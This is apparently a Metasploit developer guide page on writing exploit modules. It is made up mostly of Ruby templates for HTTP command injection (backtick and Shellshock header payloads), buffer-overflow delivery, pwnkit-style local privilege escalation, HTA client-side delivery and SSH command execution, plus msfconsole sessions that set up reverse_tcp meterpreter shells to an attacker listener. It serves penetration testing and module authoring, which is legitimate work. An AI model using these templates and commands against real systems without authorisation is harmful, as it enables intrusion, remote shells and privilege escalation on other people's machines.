Exploit
Exploit modules execute a payload to open a new session. See packages/metasploit-framework/modules/exploits/. Rather than writing a payload module, use an existing one such as windows/x64/meterpreter/reverse_tcp.
The shared process is in Common Steps. This page covers exploit-specific types, usage examples, and modules that serve as writing references.
Choosing a base class
Section titled “Choosing a base class”| Situation | Base class |
|---|---|
| Deliver to a network service or web app | Msf::Exploit::Remote |
| Escalate privileges in an existing session and return a separate session | Msf::Exploit::Local |
Modules to study
Section titled “Modules to study”Use these as starting points for learning and imitation (the names are paths passed to use).
| Reference module | What it teaches |
|---|---|
exploits/example | Minimal TCP connect → buffer → handler |
exploits/example_webapp | HttpClient, login, keep_cookies, multipart, check |
exploits/example_linux_priv_esc | Local exploit structure |
exploit/linux/http/supervisor_xmlrpc_exec | HTTP + CmdStager + Basic authentication + check |
exploit/unix/webapp/byob_unauth_rce | Separate self-registration and login, then execute RCE after authentication |
exploit/linux/http/suitecrm_log_file_rce | Authenticate once with authenticate unless @authenticated |
exploit/linux/http/apache_continuum_cmd_exec | HTTP command injection |
exploit/multi/http/apache_mod_cgi_bash_env_exec | Well-known CGI/env injection pattern |
exploit/multi/ssh/sshexec | execute_command over SSH |
exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec | Local privilege escalation + AutoCheck + FileDropper + Post mixins |
exploit/windows/misc/hta_server | Serve a payload to a client with HttpServer |
exploit/multi/handler | Listen for an externally launched payload (no need to write your own) |
Common patterns and structures
Section titled “Common patterns and structures”Even among “HTTP RCE” modules, the form changes with the injection point, authentication, and use of CmdStager. Here are several patterns for each type.
1. HTTP command injection / RCE
Section titled “1. HTTP command injection / RCE”1a. XML / Basic authentication + CmdStager (supervisor_xmlrpc_exec family)
Section titled “1a. XML / Basic authentication + CmdStager (supervisor_xmlrpc_exec family)”class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager
def check params = { 'method' => 'GET', 'uri' => normalize_uri('/') } unless datastore['HttpUsername'].to_s.empty? params['authorization'] = basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) end res = send_request_cgi(params) return CheckCode::Unknown('no response') if res.nil? CheckCode::Appears end
def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'ctype' => 'text/xml', 'data' => build_xml(cmd) ) end
def exploit execute_cmdstager(linemax: 1500) endend1b. Backtick injection into one form POST field (apache_continuum_cmd_exec family)
Section titled “1b. Backtick injection into one form POST field (apache_continuum_cmd_exec family)”This uses CmdStager, but delivers commands through a simple vars_post field.
def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => '/continuum/saveInstallation.action', 'vars_post' => { 'installation.name' => Rex::Text.rand_text_alpha(8), 'installation.type' => 'jdk', 'installation.varValue' => '`' + cmd + '`' } )end
def exploit execute_cmdstagerend1c. GET + SOAP / custom headers (dlink_upnp_exec_noauth family)
Section titled “1c. GET + SOAP / custom headers (dlink_upnp_exec_noauth family)”Combine vars_get with raw XML data and additional headers. Specify the flavor.
def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => '/soap.cgi', 'vars_get' => { 'service' => 'WANIPConn1' }, 'ctype' => 'text/xml', 'headers' => { 'SOAPAction' => 'urn:...#AddPortMapping' }, 'data' => soap_envelope_with("`#{cmd}`") )end
def exploit execute_cmdstager(flavor: :echo, linemax: 400)end1d. Header injection (Shellshock family / apache_mod_cgi_bash_env_exec)
Section titled “1d. Header injection (Shellshock family / apache_mod_cgi_bash_env_exec)”Put the command in a header value instead of the body.
def execute_command(cmd, _opts = {}) send_request_cgi( { 'method' => datastore['METHOD'], 'uri' => normalize_uri(target_uri.path), 'headers' => { datastore['HEADER'] => "() { :;}; #{cmd}" } }, datastore['TIMEOUT'] )end
def exploit execute_cmdstager(linemax: datastore['CMD_MAX_LENGTH'], nodelete: true)end1e. RCE with cookies after login (example_webapp family)
Section titled “1e. RCE with cookies after login (example_webapp family)”Authenticate first, then use keep_cookies for subsequent requests. A short command payload may not need CmdStager.
def exploit res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'keep_cookies' => true, 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) fail_with(Failure::NoAccess, 'login failed') unless res && res.code == 301
send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'command.html'), 'vars_post' => { 'cmd_str' => payload.encoded } )end1f. Self-registration → login → JSON API RCE
Section titled “1f. Self-registration → login → JSON API RCE”This example registers on a public web app, logs in through a form, and sends commands to a JSON API. AutoCheck runs check, and CmdStager calls execute_command multiple times. Keep registration and login outside execute_command so they do not repeat during the same run.
prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStager
def authenticate return true if @authenticated
user = datastore['USERNAME'] pass = datastore['PASSWORD']
send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'register'), 'vars_post' => { 'username' => user, 'password' => pass } )
res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true, 'vars_post' => { 'username' => user, 'password' => pass } ) return false if res.nil? || !(res.code == 200 || res.redirect?)
@authenticated = true trueend
def check return CheckCode::Unknown('login failed') unless authenticate
res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'run_code'), 'ctype' => 'application/json', 'data' => { 'code' => '1' }.to_json ) return CheckCode::Unknown('no response') if res.nil? json = res.get_json_document return CheckCode::Appears if res.code == 200 && json.is_a?(Hash) && json.key?('result')
CheckCode::Safeend
def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'run_code'), 'ctype' => 'application/json', 'data' => { 'code' => cmd }.to_json )end
def exploit fail_with(Failure::NoAccess, 'login failed') unless authenticate
if target['Type'] == :unix_cmd execute_command(payload.encoded) else execute_cmdstager endend- If the registration response has no session cookie,
keep_cookiesis only needed for login. The subsequent JSON POST needs nocookiekey. execute_commandonly sends the command. Authenticating here would repeat the process each time CmdStager calls it.- Match the success check to the target API’s response. For an endpoint returning HTTP 200 and JSON, check the status code and the keys returned by
get_json_document. - Set defaults for
USERNAME/PASSWORDwithOptStringinregister_options, then read them fromdatastore.
See send_request_cgi for request opts.
1g. Separate command and dropper targets
Section titled “1g. Separate command and dropper targets”'Targets' => [ ['Unix Command', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] }], ['Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'CmdStagerFlavor' => ['bourne', 'curl'] }]]
def exploit if target['Arch'] == ARCH_CMD execute_command(payload.encoded) else execute_cmdstager(linemax: 1500, background: true) endend2. TCP binary exploit
Section titled “2. TCP binary exploit”2a. Standard buffer + handler (exploits/example)
Section titled “2a. Standard buffer + handler (exploits/example)”class MetasploitModule < Msf::Exploit::Remote include Exploit::Remote::Tcp
def exploit connect buf = rand_text_alpha(1024) buf << [target.ret].pack('V') buf << payload.encoded sock.put(buf) handler ensure disconnect endend2b. Check the banner before sending
Section titled “2b. Check the banner before sending”def check connect banner = sock.get_once(1024, 3).to_s disconnect return CheckCode::Appears if banner.include?('VulnerableService') CheckCode::Saferescue Rex::ConnectionError CheckCode::Unknownend
def exploit fail_with(Failure::NotVulnerable, 'check failed') unless check == CheckCode::Appears connect sock.put(build_buffer) handlerensure disconnectend2c. Multiple exchanges (protocol interaction)
Section titled “2c. Multiple exchanges (protocol interaction)”def exploit connect sock.put("HELLO\r\n") sock.get_once sock.put(auth_packet) sock.get_once sock.put(payload_packet) handlerensure disconnectend3. Local privilege escalation
Section titled “3. Local privilege escalation”3a. AutoCheck + file placement (pwnkit / example_linux_priv_esc family)
Section titled “3a. AutoCheck + file placement (pwnkit / example_linux_priv_esc family)”class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper
def check return CheckCode::Safe unless readable?('/usr/bin/pkexec') CheckCode::Appears end
def exploit path = '/tmp/' + Rex::Text.rand_text_alpha(8) write_file(path, generate_payload_exe) chmod(path, 0o755) register_file_for_cleanup(path) cmd_exec("#{path} &") endend3b. Exploit an existing binary only (no additional files)
Section titled “3b. Exploit an existing binary only (no additional files)”def exploit # Use SUID or sudo rules; pass payload through the environment or arguments cmd_exec("env x='() { :;}; #{payload.encoded}' /usr/bin/vulnerable")end3c. Windows local (generate an EXE through a session)
Section titled “3c. Windows local (generate an EXE through a session)”class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Priv include Msf::Exploit::EXE include Msf::Exploit::FileDropper
def exploit fail_with(Failure::None, 'already SYSTEM') if is_system? exe = generate_payload_exe path = expand_path('%TEMP%\\') + Rex::Text.rand_text_alpha(8) + '.exe' write_file(path, exe) register_file_for_cleanup(path) cmd_exec("cmd.exe /c #{path}") endend4. Client-side (HttpServer)
Section titled “4. Client-side (HttpServer)”4a. HTA / single URI (hta_server family)
Section titled “4a. HTA / single URI (hta_server family)”class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer
def on_request_uri(cli, _request) p = regenerate_payload(cli) send_response(cli, build_hta(p), 'Content-Type' => 'application/hta') endend4b. HTML + additional resource
Section titled “4b. HTML + additional resource”def primer hardcoded_uripath('/payload.bin')end
def on_request_uri(cli, request) if request.uri.end_with?('/payload.bin') send_response(cli, regenerate_payload(cli).encoded, 'Content-Type' => 'application/octet-stream') else send_response(cli, %|<a href="#{get_uri}/payload.bin">dl</a>|, 'Content-Type' => 'text/html') endend4c. Redirect the client
Section titled “4c. Redirect the client”def on_request_uri(cli, request) if request.uri.include?('landing') send_redirect(cli, "#{get_uri}/run.hta") else send_response(cli, build_hta(regenerate_payload(cli)), 'Content-Type' => 'application/hta') endend5. Over SSH (sshexec family)
Section titled “5. Over SSH (sshexec family)”5a. Run CmdStager through exec! after login
Section titled “5a. Run CmdStager through exec! after login”def execute_command(cmd, _opts = {}) Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }rescue Timeout::Error print_warning('command timed out')end
def exploit do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT']) execute_cmdstager(linemax: 500)end5b. Interactive SSH (pass the socket to handler)
Section titled “5b. Interactive SSH (pass the socket to handler)”def exploit do_login(...) if target.name == 'Interactive SSH' handler(ssh_socket) return end execute_command(payload.encoded)end5c. Send a payload with a one-line Python command
Section titled “5c. Send a payload with a one-line Python command”def execute_python execute_command("echo \"#{payload.encoded}\" | python3")end
def exploit do_login(...) case target['Platform'] when 'python' then execute_python else execute_cmdstager(linemax: 500) endend6. General handler (do not write one, but know the pattern)
Section titled “6. General handler (do not write one, but know the pattern)”exploit/multi/handler does not exploit a vulnerability; it receives a payload launched elsewhere. Its structure allows broad Targets / Payload settings and waits in exploit for a connection.
Usage examples
Section titled “Usage examples”HTTP RCE (Supervisor)
Section titled “HTTP RCE (Supervisor)”use exploit/linux/http/supervisor_xmlrpc_execset RHOSTS 10.10.11.123set LHOST 10.10.16.10set HttpUsername userset HttpPassword 123checkexploitsessions -lGeneral handler (receive a reverse payload launched elsewhere)
Section titled “General handler (receive a reverse payload launched elsewhere)”use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.10.16.10set LPORT 4444set ExitOnSession falserun -jExecute commands / interact over SSH
Section titled “Execute commands / interact over SSH”use exploit/multi/ssh/sshexecshow targetsset TARGET <ssh_interact target id>set RHOSTS 10.10.11.123set USERNAME svcset PASSWORD '...'set payload generic/ssh/interactrunsessions -lLocal privilege escalation (requires an existing session)
Section titled “Local privilege escalation (requires an existing session)”sessions -luse exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecset SESSION 1set LHOST 10.10.16.10checkrunsessions -lDeliver an HTA
Section titled “Deliver an HTA”use exploit/windows/misc/hta_serverset SRVHOST 10.10.16.10set SRVPORT 8080set URIPATH /payloadset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.10.16.10run# Have the target browser open the displayed URLTry a custom path with the webapp template
Section titled “Try a custom path with the webapp template”# After placing ~/.msf4/modules/exploits/linux/http/myapp_rce.rbreload_lib -ause exploit/linux/http/myapp_rceshow optionsset RHOSTS 10.10.11.123set TARGETURI /app/set LHOST 10.10.16.10checkrunHandling payloads (using existing ones)
Section titled “Handling payloads (using existing ones)”| Task | Method |
|---|---|
| Narrow available payloads | Platform / Arch / Payload BadChars in update_info |
| User selection | set payload ... / show payloads |
| Send from code | payload.encoded |
| Split a long binary | CmdStager + execute_command |
show payloadsset payload linux/x64/meterpreter/reverse_tcpset LHOST 10.10.16.10
